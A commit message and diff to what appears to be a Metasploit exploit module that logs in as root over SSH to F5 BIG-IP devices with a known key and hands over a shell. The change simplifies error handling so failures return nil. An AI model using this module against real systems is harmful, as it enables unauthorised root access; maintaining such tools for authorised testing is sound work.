Return nil when an error occurred

Avoids anti-pattern of testing for a specific class.

modules/exploits/linux/ssh/f5_bigip_known_privkey.rb

@@ -94,17 +94,18 @@ class Metasploit3 < Msf::Exploit::Remote
 				ssh_socket = Net::SSH.start(rhost, user, opt_hash)
 			end
 		rescue Rex::ConnectionError, Rex::AddressInUse
-			return :connection_error
+			return
 		rescue Net::SSH::Disconnect, ::EOFError
 			print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
-			return :connection_disconnect
+			return
 		rescue ::Timeout::Error
 			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
-			return :connection_disconnect
+			return
 		rescue Net::SSH::AuthenticationFailed
 			print_error "#{rhost}:#{rport} SSH - Failed authentication"
 		rescue Net::SSH::Exception => e
-			return [:fail,nil] # For whatever reason.
+			print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
+			return
 		end
 
 		if ssh_socket
@@ -121,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
 	def exploit
 		conn = do_login("root")
-		if conn.class == Net::SSH::CommandStream
+		if conn
 			print_good "Successful login"
 			handler(conn.lsock)
 		end